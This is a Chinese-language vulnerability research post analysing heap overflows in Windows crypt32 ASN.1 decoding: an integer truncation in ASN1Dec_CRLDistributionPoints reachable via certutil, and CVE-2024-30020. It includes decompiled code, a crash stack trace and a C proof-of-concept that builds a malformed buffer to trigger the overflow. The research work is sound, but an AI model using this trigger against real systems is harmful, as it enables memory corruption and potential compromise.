在挖掘secure schannel的过程中, 发现后期有在调用crypt32!CryptDecodeObject
函数去解码证书相关操作, 于是深入分析了一下, 发现存在很明显的整数溢出问题, 后来发现有长度限制. 经过遍历所有的解码操作, 找到了可以成功触发的整数溢出. 一起来了解一下吧.
先来了解一下CryptDecodeObject
函数接口.
1 2 3 4 5 6 7 8 9
| BOOL CryptDecodeObject( [in] DWORD dwCertEncodingType, [in] LPCSTR lpszStructType, [in] const BYTE *pbEncoded, [in] DWORD cbEncoded, [in] DWORD dwFlags, [out] void *pvStructInfo, [in, out] DWORD *pcbStructInfo );
|
[in] dwCertEncodingType
编码类型, 有两种, 可以或在一起.
- X509_ASN_ENCODING
- PKCS_7_ASN_ENCODING
[in] lpszStructType
OID, 可以是数字, 也可以是字符串. 参考 Constants for CryptEncodeObject and CryptDecodeObject.
调用关系路径示例:
1 2 3 4 5 6 7
| crypt32!CryptDecodeObject(X509_ASN_ENCODING(1), X509_ECC_SIGNATURE(47), ...) CryptDecodeObjectEx Asn1X509DHParametersDecodeEx Asn1InfoDecodeAndAllocEx msasn1!ASN1_Decode crypto32!ASN1Dec_DHParameters ....
|
不同的oid, label1
位置就会是不同的调用函数, 具体函数列表见文章末尾.
有问题的函数存在于ASN1Dec_CRLDistributionPoints
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| __int64 __fastcall ASN1Dec_CRLDistributionPoints(__int64 a1, __int64 a2, unsigned int *a3) { ...... if ( !(unsigned int)ASN1BERDecExplicitTag(a1, a2, &v23, &v25) ) return 0i64; v6 = 0; *a3 = 0; *((_QWORD *)a3 + 1) = 0i64; while ( 1 ) { if ( !(unsigned int)ASN1BERDecNotEndOfContents(v23, v25) ) { LOBYTE(v3) = (unsigned int)ASN1BERDecEndOfContents(a1, v23, v25) != 0; return v3; } if ( !(unsigned int)ASN1BERDecPeekTag(v23, &v21) ) return 0i64; if ( *a3 >= v6 ) { if ( v6 ) v6 *= 2; else v6 = 16; v7 = ASN1DecRealloc(v23, *((_QWORD *)a3 + 1), v6 << 6); if ( !v7 ) return 0i64; *((_QWORD *)a3 + 1) = v7; } ...... v11 = *((_QWORD *)a3 + 1) + (v10 << 6); *a3 = *a3 + 1; ...... } ...... }
|
label2
位置, 如果v6大于 0x20,0000
, 2*v6*0x40 => 0x1,0000,0000
, 而ASN1DecRealloc
函数的第三个参数是一个int类型, 导致整数截断, 从而申请非常小的内存, 导致后面溢出. 因为可以控制内容, 所以溢出多少是大致可控的, 所以还是有不小的可利用性. 唯一的问题就是, 这个OID是0x23, 要找到windows支持它的服务是比较困难的, 通过逐一搜索所有导入了CryptDecodeObject
函数的dll和exe文件, 最终找到一个使用到它的工具, 就是certutil.exe
.
触发栈回溯为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| 00 0000004a`b0c7e680 00007ffd`e8fa5b1b ucrtbase!memset_repstos+0x9 01 0000004a`b0c7e690 00007ffd`e8fa5942 CRYPT32!Asn1X509CrlDistPointsDecodeExCallback+0x77 02 0000004a`b0c7e700 00007ffd`e8f568f5 CRYPT32!Asn1X509CrlDistPointsDecodeEx+0xb2 03 0000004a`b0c7e780 00007ffd`e8f564de CRYPT32!CryptDecodeObjectEx+0x145 04 0000004a`b0c7e830 00007ffd`e2b2185a CRYPT32!CryptDecodeObject+0x2e 05 0000004a`b0c7e880 00007ffd`e2b2096a cryptnet!ObjectContextGetRawUrlData+0x21a 06 0000004a`b0c7e9c0 00007ffd`e2b11e2a cryptnet!CertificateCrlDistPointGetObjectUrl+0x7a 07 0000004a`b0c7eaf0 00007ffd`e2b119fc cryptnet!CTVOAgent::GetTimeValidObject+0x41a 08 0000004a`b0c7ed30 00007ffd`e2b27cff cryptnet!CrlFromCertGetTimeValidObject+0x5c 09 0000004a`b0c7eda0 00007ffd`e2b274fb cryptnet!CryptGetTimeValidObject+0xbf 0a 0000004a`b0c7ee20 00007ffd`e2b26213 cryptnet!GetTimeValidCrl+0x38b 0b 0000004a`b0c7ef50 00007ffd`e8f475be cryptnet!MicrosoftCertDllVerifyRevocation+0x213 0c 0000004a`b0c7f0b0 00007ffd`e8f46785 CRYPT32!VerifyDefaultRevocation+0x552 0d 0000004a`b0c7f1d0 00007ff7`8d71812f CRYPT32!CertVerifyRevocation+0x115 0e 0000004a`b0c7f2d0 00007ff7`8d717dba certutil!VerifyRevocation+0xd3 0f 0000004a`b0c7f380 00007ff7`8d7164f7 certutil!VerifyCertAgainstParent+0x82e 10 0000004a`b0c7f490 00007ff7`8d71bc70 certutil!VerifyCRLAgainstCACert+0x647 11 0000004a`b0c7f5a0 00007ff7`8d6b3849 certutil!verbVerifyCert+0x1c0 12 0000004a`b0c7f640 00007ff7`8d78630c certutil!ArgvMain+0x9ed 13 0000004a`b0c7f870 00007ff7`8d785ecc certutil!myPreMain+0x41c 14 0000004a`b0c7f9c0 00007ffd`eadea1f8 certutil!myMainWndProc+0x3c 15 0000004a`b0c7f9f0 00007ffd`eaded038 USER32!UserCallWinProcCheckWow+0x398 16 0000004a`b0c7fb40 00007ff7`8d786575 USER32!DispatchMessageWorker+0x378 17 0000004a`b0c7fbc0 00007ff7`8d6a3d96 certutil!wWinMain+0x1ad 18 0000004a`b0c7fcb0 00007ffd`e9711f87 certutil!__wmainCRTStartup+0x1d6 19 0000004a`b0c7fd70 00007ffd`eb97b5b0 KERNEL32!BaseThreadInitThunk+0x17 1a 0000004a`b0c7fda0 00000000`00000000 ntdll!RtlUserThreadStart+0x20
|
其它
在12月的时候, Eric 也挖到了这个漏洞, 并且他还发现了一种远程利用的触发路径, 演示视频, 另外他还发现了另一个堆溢出(CVE-2024-30020), 他的演讲pdf Talse from The Crypt 也介绍了一下, 很不错的一个演讲.
CVE-2024-30020 发生在Asn1X509GetPKIFreeText
函数内, 一开始我没看懂问题出在哪, 我们看一下代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| for ( i = (const void **)*((_QWORD *)a1 + 1); v5; --v5 ) { v12 = *(unsigned int *)i; v13 = 2 * v12 + 9; if ( !(unsigned int)EvaluateCurrentState((const struct reg_FeatureDescriptor *)a1) ) v13 = v12 + 9; v14 = v13 & 0xFFFFFFF8; v8 = *a5 - v14 < 0; *a5 -= v14; if ( !v8 ) { *v9 = (LPWSTR)*a4; if ( (_DWORD)v12 ) { v15 = EvaluateCurrentState((const struct reg_FeatureDescriptor *)a1); v16 = v12; if ( v15 ) v16 = 2 * v12; memcpy_0(*v9, i[1], v16); } (*v9)[v12] = 0; *a4 = (LPWSTR *)((char *)*a4 + v14); } ++v9; i += 2; }
|
所以, 它的补丁就是在计算size的时候, 以宽字节的方式去计算size. 一开始我并不明白这样的补丁是在干什么.
首先, *a5
在减v14
, *a4
在加v14
, 所以这个buffer和size是同步的, 不存在不同步导致的判断问题.
然后, v12
值不能很大, 所以不会导致整数溢出, 那么, v14
必然大于等于v12+8
, 所以if(!v8)
这个条件判断也不存在任何问题. memcpy操作也不存在任何问题.
那么问题一定出在 (*v9)[v12] = 0;
, 朴素的理解里, 它应该也就占1字节, 是小于8
的, 所以应该也小于v14
的范围, 怎么会导致问题呢??
仔细查看了汇编以后, mov [rax+rsi*2], dx
, 问题变得一目了然, 那就是它是当作宽字符串在处理的!!!
这时候, *v9 = (LPWSTR)*a4;
这一行变得异常刺眼了起来.
所以审计的时候, 还是需要多留心类型的变换, 如果有强制类型转换, 一定要多注意注意, 别被ida迷惑住了.
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| #include <stdio.h> #include <windows.h> #include <winsock.h> #include <wincrypt.h> #pragma comment(lib, "Crypt32.lib") #pragma comment(lib, "Bcrypt.lib") #pragma comment(lib, "ws2_32.lib")
typedef unsigned int u32; typedef unsigned char u8;
int main() { #define MAX_SIZE (0x4000000+0x30) unsigned char* buf = (char*)calloc(1, MAX_SIZE);
HCERTSTORE hStore = NULL; PCCERT_CONTEXT pCert = NULL; BCRYPT_KEY_HANDLE hKey = NULL;
DWORD pcbStructInfo[4]; pcbStructInfo[0] = 0; int i = 0; int j; buf[i++] = 0x20|0x10; buf[i++] = 0x84; *(u32*)(buf + i) = ntohl(MAX_SIZE - 0x30 + 2); i += 4; for (j = 0; j < (MAX_SIZE-0x30+2) /2; j++) { buf[i++] = 0x20|0x10; buf[i++] = 0; }
CryptDecodeObject(1, (LPCSTR)0x23, (const BYTE*)buf, MAX_SIZE-0x10, 0, 0, pcbStructInfo); return 0; }
|
ASN1Dec列表
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86
| 0 ASN1Dec_EncodedObjectID 1800a02b0 1 ASN1Dec_Bits 180095e20 2 ASN1Dec_IntegerType 1800a27c0 3 ASN1Dec_HugeIntegerType 1800a3d00 4 ASN1Dec_OctetStringType_0 1800a36e0 5 ASN1Dec_EnumeratedType 1800ba230 6 ASN1Dec_UtcTime 1800a4aa0 7 ASN1Dec_AnyString 180077ce0 8 ASN1Dec_AlgorithmIdentifier 180076ff0 9 ASN1Dec_Name 180077f20 10 ASN1Dec_Attributes 180077a40 11 ASN1Dec_RSAPublicKey 1800877f0 12 ASN1Dec_RSAPublicKey2 18008e170 13 ASN1Dec_DSSParameters 1800b2ba0 14 ASN1Dec_RSAPublicKey_0 1800e8ea0 15 ASN1Dec_DHParameters 1800a01d0 16 ASN1Dec_RC2CBCParameters 1800eb260 17 ASN1Dec_SMIMECapabilities 1800eb8d0 18 ASN1Dec_SubjectPublicKeyInfo 180084210 19 ASN1Dec_ChoiceOfTime 1800770d0 20 ASN1Dec_Extensions 1800775d0 21 ASN1Dec_SignedContent 1800871d0 22 ASN1Dec_CertificationRequestInfo 1800e7f60 23 ASN1Dec_CertificationRequestInfoDecode 1800b3af0 24 ASN1Dec_KeygenRequestInfo 1800e9610 25 ASN1Dec_AuthorityKeyId 1800a84e0 26 ASN1Dec_AltNames 1800790c0 27 ASN1Dec_EDIPartyName 1800e9030 28 ASN1Dec_BasicConstraints2 18008ac60 29 ASN1Dec_CertificatePolicies 180081880 30 ASN1Dec_CertificatePolicies95 1800e7e40 31 ASN1Dec_AuthorityKeyId2 180078c40 32 ASN1Dec_AuthorityInfoAccess 1800788e0 33 ASN1Dec_CRLDistributionPoints 180078d90 34 ASN1Dec_ContentInfo_0 18009fe00 35 ASN1Dec_SeqOfAny 180079740 36 ASN1Dec_TimeStampRequest 1800ec370 37 ASN1Dec_ContentInfoOTS 1800e8730 38 ASN1Dec_TimeStampRequestOTS 1800ec450 39 ASN1Dec_EnhancedKeyUsage 180083970 40 ASN1Dec_EnrollmentNameValuePair 1800e9310 41 ASN1Dec_CSPProvider 1800e7a20 42 ASN1Dec_CertificatePair 1800aadd0 43 ASN1Dec_IssuingDistributionPoint 1800784d0 44 ASN1Dec_PolicyMappings 1800aca70 45 ASN1Dec_PolicyConstraints 1800b3e30 46 ASN1Dec_CmcAddExtensions 1800e81f0 47 ASN1Dec_CmcAddAttributes 1800e8130 48 ASN1Dec_CertificateTemplate 1800a3390 49 ASN1Dec_OcspBasicResponse 180076130 50 ASN1Dec_BiometricSyntax 1800e77e0 51 ASN1Dec_Attribute 1800853a0 52 ASN1Dec_X942DhParameters 1800ecb30 53 ASN1Dec_X942DhOtherInfo 1800ec9b0 54 ASN1Dec_CertificateToBeSigned 18007d6a0 55 ASN1Dec_CertificateRevocationListToBeSigned 180075f30 56 ASN1Dec_KeyAttributes 1800e93d0 57 ASN1Dec_KeyUsageRestriction 1800e9510 58 ASN1Dec_BasicConstraints 1800b4230 59 ASN1Dec_UserNotice 1800ec6b0 60 ASN1Dec_VerisignQualifier1 1800ec7b0 61 ASN1Dec_ContentInfoSeqOfAny 1800e8850 62 ASN1Dec_CertificateTrustList 180076c10 63 ASN1Dec_NameConstraints 1800783e0 64 ASN1Dec_CrossCertDistPoints 1800e8dd0 65 ASN1Dec_CmcData 1800e82b0 66 ASN1Dec_CmcResponseBody 1800e8380 67 ASN1Dec_CmcStatusInfo 1800e8430 68 ASN1Dec_OcspTbsRequest 1800a8b90 69 ASN1Dec_OcspResponse 180095c50 70 ASN1Dec_OcspBasicResponseData 180076280 71 ASN1Dec_RsaSsaPssParameters 1800eb630 72 ASN1Dec_RsaesOaepParameters 1800b0010 73 ASN1Dec_OcspRequest 1800aeba0 74 ASN1Dec_LogotypeExtn 1800e9b90 75 ASN1Dec_EccCmsSharedInfo 1800e9190 76 ASN1Dec_TimeStampReq 1800ec1c0 77 ASN1Dec_TSTInfo 1800768e0 78 ASN1Dec_TimeStampResp 1800ec530 79 ASN1Dec_ChoiceOfCertOrCrl 1800e8040 80 ASN1Dec_CertificateBundle 1800e7d40 81 ASN1Dec_RSAPrivateKey_0 1800eb330 82 ASN1Dec_SubjectDirectoryAttributes 1800ebac0 83 ASN1Dec_SupportedAlgorithm 1800ebd00 84 ASN1Dec_TPMSpecification 1800ebe10 85 ASN1Dec_CRLEntry 180077460
|